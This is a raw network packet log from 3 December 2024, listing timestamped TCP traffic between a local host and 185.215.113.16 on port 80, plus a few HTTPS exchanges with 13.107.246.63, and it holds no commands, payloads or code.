Dec 3, 2024 17:41:37.632890940 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.633513927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.634183884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.634239912 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.634844065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.634871006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.634927034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.636189938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.636914968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.636959076 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.637553930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.637567043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.637628078 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.638853073 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.639563084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.639574051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.639616966 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.640836000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.641062021 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.645540953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.645870924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.645914078 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.646563053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.647232056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.647274017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.647986889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.648000002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.648034096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.649240017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.649934053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.649976015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.650605917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.650616884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.650648117 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.651932001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.651942015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.651983023 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.653278112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.653289080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.653323889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.654587030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.654597998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.654640913 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.655952930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.655963898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.655997038 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.657269955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.657279968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.657315969 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.658616066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.658626080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.658660889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.659965992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.659977913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.660022020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.661287069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.661298037 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.661355972 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.662921906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.662934065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.662970066 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.664027929 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.664040089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.664082050 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.665302038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.665313005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.665359020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.666625023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.666639090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.666677952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.667967081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.667978048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.668015957 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.669317961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.669327974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.669389009 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.670648098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.670659065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.670703888 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.672137976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.672149897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.672216892 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.673643112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.673654079 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.673724890 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.675188065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.675211906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.675254107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.676615000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.676628113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.676649094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.676666975 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.678276062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.678287029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.678328991 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.679567099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.679579020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.679604053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.681052923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.681070089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.681085110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.682544947 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.682557106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.682574987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.682590961 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.682615042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.683996916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.684026003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.684066057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.685522079 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.685535908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.685597897 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.687136889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.687160015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.687200069 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.688549995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.688561916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.688601971 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.690135956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.690148115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.690182924 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.691565990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.691576958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.691591978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.691627979 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.692919970 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.692944050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.692975998 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.694462061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.694473982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.694518089 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.696194887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.696207047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.696234941 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.697413921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.697424889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.697443962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.697458982 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.697567940 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.698653936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.698901892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.698914051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.698956013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.700344086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.700376987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.700417995 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.701849937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.701864958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.701920986 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.704204082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.704216957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.704258919 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.704842091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.704854012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.704875946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.704890013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.706327915 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.706341028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.706368923 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.711922884 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.833569050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.833904028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.833937883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.833976030 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.834908009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.834949017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.835598946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.835611105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.835649967 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.836909056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.837587118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.837630033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.838257074 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.838268995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.838310957 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.839724064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.840533972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.840547085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.840576887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.841641903 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.841675997 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.842411041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.846698999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.846746922 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.847052097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.847743988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.847793102 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.848474026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.849078894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.849092960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.849128962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.850404024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.850449085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.851062059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.851761103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.851777077 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.851799011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.853097916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.853152037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.853794098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.853806973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.853846073 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.855068922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.855783939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.855796099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.855856895 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.857175112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.857187986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.857227087 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.858447075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.858459949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.858499050 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.859766960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.859796047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.859816074 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.861152887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.861164093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.861267090 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.862637997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.862656116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.862689018 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.863800049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.863811970 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.863838911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.865142107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.865154028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.865191936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.866550922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.866561890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.866591930 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.867804050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.867815971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.867857933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.869154930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.869167089 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.869210958 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.870482922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.870493889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.871813059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.871826887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.871875048 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.873315096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.873327971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.874201059 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.874790907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.874802113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.874852896 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.876266003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.876288891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.876502037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.877804995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.877818108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.877865076 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.879271984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.879285097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.879301071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.879343033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.880723000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.880745888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.880795002 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.882335901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.882348061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.882385969 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.883893013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.883917093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.883964062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.885695934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.885709047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.885727882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.885747910 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.887337923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.887350082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.887423038 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.888617992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.888631105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.888676882 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.889897108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.889923096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.889940977 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.890239954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.891530991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.891572952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.891613960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.892911911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.892924070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.892940998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.892981052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.894208908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.894222975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.894285917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.895605087 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.895617008 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.895672083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.897056103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.897079945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.897140980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.898574114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.898586988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.898602962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.898664951 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.900089025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.900110960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.900152922 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.901640892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.901652098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.901686907 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.903023005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.903036118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.903269053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.904597044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.904608965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.904803991 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.906004906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.906017065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.906034946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.906096935 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.906096935 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.907490015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.907505989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.907733917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.009313107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.013020992 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.013590097 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.013612032 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.014137983 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.014142990 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.034771919 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.035101891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.035175085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.035767078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.036484003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.036550045 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.039380074 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.039983988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.039999962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.040033102 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.041409969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.041426897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.041477919 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.042921066 CET	80	49764	185.215.113.16	192.168.2.7
